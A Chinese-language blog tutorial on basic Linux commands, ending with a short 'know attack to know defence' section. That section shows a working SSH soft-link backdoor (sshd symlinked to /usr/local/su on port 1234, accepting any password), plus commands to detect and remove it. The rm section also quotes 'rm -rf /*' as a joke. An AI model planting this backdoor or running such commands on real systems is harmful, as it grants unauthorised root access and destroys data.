目录
简介
Linux,全称GNU/Linux,是一套免费使用和自由传播的类Unix操作系统,是一个基于POSIX的多用户、多任务、支持多线程和多CPU的操作系统。Linux 系统一般是指 Linux 内核、Li nux 发行版。
Linux
系统内核指的是由Linus Torvalds
负责维护,提供硬件抽象层、硬盘及文件系统控制及多任务功能的系统核心程序。
Linux
发行套件系统是我们常说的Linux
操作系统,也即是由Linux
内核与各种常用软件的集合产品。
我们常说的 Linux
指的是“发行版完整的包含一些基础软件的操作系统”。
基本思想
Linux的基本思想:
第一,一切都是文件,系统中的所有都归结为一个文件,包括命令、硬件和软件设备、操作系统、进程等等对于操作系统内核而言,都被视为拥有各自特性或类型的文件。
第二,每个文件都有确定的用途。Linux是基于Unix的,很大程度上也是因为这两者的基本思想十分相近。
特性
完全免费
Linux是一款免费的操作系统,用户可以通过网络或其他途径免费获得,并可以任意修改其源代码。正是由于这一点,来自全世界的无数程序员参与了Linux的修改、编写工作,程序员可以根据自己的兴趣和灵感对其进行改变,这让Linux不断壮大。
完全兼容POSIX1.0标准
可以在Linux下通过相应的模拟器运行常见的DOS、Windows的程序。为用户从Windows转到Linux奠定了基础。
多用户、多任务
良好的界面
支持多种平台及各种嵌入式平台
对比 Windows
稳定且有效率;
免费(或少许费用);
漏洞少且快速修补;
多任务多用户;
更加安全的用户与文件权限策略;
适合小内核程序的嵌入系统;
相对不耗资源。
Linux系统分类
主要分Debian系和RedHat系,还有其它自由的发布版本。
Debian系主要有Debian,Ubuntu等
RedHat系主要有RedHat,Fedora,CentOs等
#Debian稳定性、安全性强,提供了免费的基础支持,在国外拥有很高的认可度和使用率。
#RedHat是全世界内使用最广泛的
Linux
系统,它具有极强的性能与稳定性。
时至目前已经发布了很多自由开源的版本,可见:
Linux在线平台
https://www.tutorialspoint.com/unix_terminal_online.php
#非root用户,限制多
https://bellard.org/jslinux/vm.html?url=alpine-x86.cfg&mem=192
#root用户,不出网,不能安装软件,国外
Linux系统登录
最近刚刚下载了这个蜜罐系统,我这里就顺便以这个HoneyDrive做一些基础的Linux命令记录。
在安装好了一个Linux系统之后开机经过各种检索后来到系统登录界面,这里是因为是图形化的界面,选择用户名输入相应的密码即可进入系统。
需要注意的是如果是命令行界面的输入用户名时可见,但输入密码的时候是看不见输入的密码的,不要误以为成了输入的问题。
就比如我这里登录后的用户,输入命令切换到另一个用户,提示输入密码,这里输入了密码,只是安全性的原因密码不可见。
Linux基础命令
主要注意,在linux中输入的命令严格区分大小写。
查看用户可以执行的命令:
ls /usr/bin
ls /usr/local/bin
在交互式shell下可以按两次tab按键列出所有的可执行命令
root用户为最高权限用户,可执行所有命令。
which
which命令用于查找命令文件程序所对应的位置
-v #显示版本信息
#系统基本
su
就刚才的命令:
su - root
su命令用于切换到其他用户,非 root 用户执行命令需要键入该使用者的密码。
su root
与上面差 ‘-’ 不同的是不会切换当前的目录和相关变量
相关参数:
- -m -p 或 --preserve-environment 执行 su 时不改变环境变数
- -c command #变更为帐号为 USER 的使用者并执行指令(command)后再变回原来使用者
- -s shell 或 --shell=shell #指定shell,默认为 /etc/passwd 内的该使用者的shell
ls
ls用于列出文件和目录
常用参数:
-a
显示所有文件和目录包括隐藏的
-l
显示详细列表
-h
适合人类阅读的
-t
按文件最近一次修改时间排序
pwd
pwd命令用户输入当前所在路径
cd
cd命令用于切换目录
常用参数:
cd / #跳转到根目录
cd ~ #跳转到家目录
cd .. #跳转到上级目录
cd ./home #跳转到当前目录的home目录下
cd /home/ling #跳转到根目录下的home目录下的ling目录
cd #不添加任何参数,也是回到家目录
du
du命令用于列出目录和文件的大小信息
常用参数:
-h
#适合阅读的;
-a
#同时列举出目录下文件的大小信息
-s
#只显示总计大小,不显示具体信息
help
帮助信息,差不多每个命令都有这个参数
-h #短参数
--help #长参数
用于查看命令的相关信息,易读
man
查看命令手册,比help帮助信息更详细
man du
按q键退出阅读
#系统信息
uname
uname命令用于查看系统主机名、内核及硬件架构等信息。
常用参数:
-a 显示系统所有相关信息 -m 显示计算机硬件架构 -n 显示主机名称 -r 显示内核发行版本号 -s 显示内核名称 -v 显示内核版本 -p 显示主机处理器类型 -o 显示操作系统名称 -i 显示硬件平台
如果不加任何参数,默认仅显示系统内核名称,相当于-s参数。
cat /etc/*-release
cat /proc/version
直接从系统配置文件查看相关信息。
#文件操作
cat
cat命令用于查看文件内容,一次性显示文件所有内容,适合查看比较小的文件。
-n #显示行号
touch
touch命令用于创建文件
参数:
-a 改变档案的读取时间记录 -m 改变档案的修改时间记录 -r 使用参考档的时间记录,与 --file 的效果一样 -d 设定时间与日期,可以使用各种不同的格式 -t 设定档案的时间记录,格式与 date 命令相同
参数一般不怎么会用
需要区别,linux不同于windows以文件后缀名区分类别,linux没有文件后缀名的概念,只对文件的权限作限制,后期再做介绍。
mkdir
mkdir命令用于创建目录
-p #递归创建目录
-m #建立目录的同时设置目录的权限
-v #显示创建目录的过程
递归创建目录若目录上级目录不存在的话则会报错。
rm
rm命令用于删除文件或目录
-i
#向用户确认是否删除
-f
#文件强制删除
-r
#递归删除文件夹著名的删除操作
rm -rf
.
rm -rf /*
#删库跑路
需要注意谨慎操作,删除了文件和目录,在 Linux
下没有回收站,一旦删除比较难恢复,可以使用其他命令代替或者添加一个第三方的回收站命令:
给Linux添加一个回收站_Ling-cheng的博客-CSDN博客_linux 设置回收站
head
head命令用于显示文件的开头几行(默认是10行)
-n
#指定行数
tail
tail命令用于显示文件的末尾几行(默认是10行),与head相反
-n
#指定行数
less
less命令用于分页显示文件内容,更适合查看大的文件
常用操作:
空格键:前进一页(一个屏幕);
b
键:后退一页;回车键:前进一行;
y
键:后退一行;上下键:回退或前进一行;
d
键:前进半页;
u
键:后退半页;
q
键:停止读取文件,中止less
命令;
h
键:显示帮助文档;
/
键:进入搜索模式后,按n
键跳到一个符合项目,按N
键跳到上一个符合项目,同时也可以输入正则表达式匹配。
more
more命令也是用于分页显示文本文件内容
把文本内容一页一页的显示在终端界面上,
每按一次回车即向下一行,
每按一次空格即向下一页,直至看完为止即退出。
cp
cp命令用于拷贝文件或目录
-f 若目标文件已存在,则会直接覆盖原文件 -i 若目标文件已存在,则会询问是否覆盖 -p 保留源文件或目录的所有属性 -r 递归复制文件和目录 -d 当复制符号连接时,把目标文件或目录也建立为符号连接,并指向与源文件或目录连接的原始文件或目录 -l 对源文件建立硬连接,而非复制文件 -s 对源文件建立符号连接,而非复制文件 -b 覆盖已存在的文件目标前将目标文件备份
cp 1.txt ling #把 1.txt 文件拷贝到 ling 目录下,并且文件名依然为 1.txt
cp *.txt ling #把当前目录下所有 '.txt' 结尾的文件拷贝到 ling 目录下复制代码
mv
mv命令用于移动(重命名)文件或目录,与cp命令用法相似
-i 若存在同名文件,则向用户询问是否覆盖 -f 覆盖已有文件时,不进行任何提示 -b 当文件存在时,覆盖前为其创建一个备份 -u 当源文件比目标文件新,或者目标文件不存在时,才执行移动此操作
mv 1.txt ling #将1.txt 文件移动到 ling 目录下
mv *.txt ling #把当前目录下所有 txt 文件移动到ling目录下
mv 1.txt 2.txt #将1.txt文件重命名为 2.txt 复制代码
ln
ln命令用于创建链接,软链接类似windows下的快捷方式
-b 为每个已存在的目标文件创建备份文件 -d 此选项允许“root”用户建立目录的硬链接 -f 强制创建链接,即使目标文件已经存在 -n 把指向目录的符号链接视为一个普通文件 -i 交互模式,若目标文件已经存在,则提示用户确认进行覆盖 -s 对源文件建立符号链接,而非硬链接 -v 详细信息模式,输出指令的详细执行过程
Linux 下有两种链接类型:硬链接和软链接。
硬链接
使链接的两个文件共享同样文件内容,假如文件1和文件2之间有了硬链接,那么修改任何一个文件,修改的都是同一块内容。
缺点是,只能创建指向文件的硬链接,不能创建指向目录的(其实也可以,但比较复杂)。
软链接都可以,软链接使用更加广泛。
ln 1.txt 2.txt #创建2.txt为1.txt的硬链接
如果用 rm 1.txt
来删除1.txt ,对2.txt没有什么影响,对于硬链接来说,删除任意一方的文件,共同指向的文件内容并不会从硬盘上删除。只有同时删除了 1.txt
与2.txt
后,它们共同指向的文件内容才会消失。
软链接
软链接就类似 windows
下快捷方式
ln -s file1 file2
file2
只是 file1
的一个快捷方式,它指向的是 file1
,所以显示的是 file1
的内容,如果删除了 file2
的话, file1
是不会受影响的,但如果删除 file1
的话, file2
就会变成死链接,因为指向的文件不见了。
未知攻,焉知防
最后附上一个ssh添加软链接后门测试,前提是需要开启ssh服务并且以root权限开启
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oport=1234
运行后创建了一个软链接并且监听本机1234端口
ssh 192.168.217.128 -p 1234 -l ling
输入任意密码即可连接到ssh服务
定位
netstat -pantu
ps -aux | grep 134442
清理
kill -9 134442
rm /usr/local/su
ls -al /proc/pid号 #可查看对应的pid运行的程序及目录
声明
提供的技术仅供学习参考测试,利用本文提供的信息造成的直接或间接损失由使用者自行承担。
结语
尽最大的努力做最坏的打算,没有人规定,一朵花,一定要长成向日葵或者玫瑰。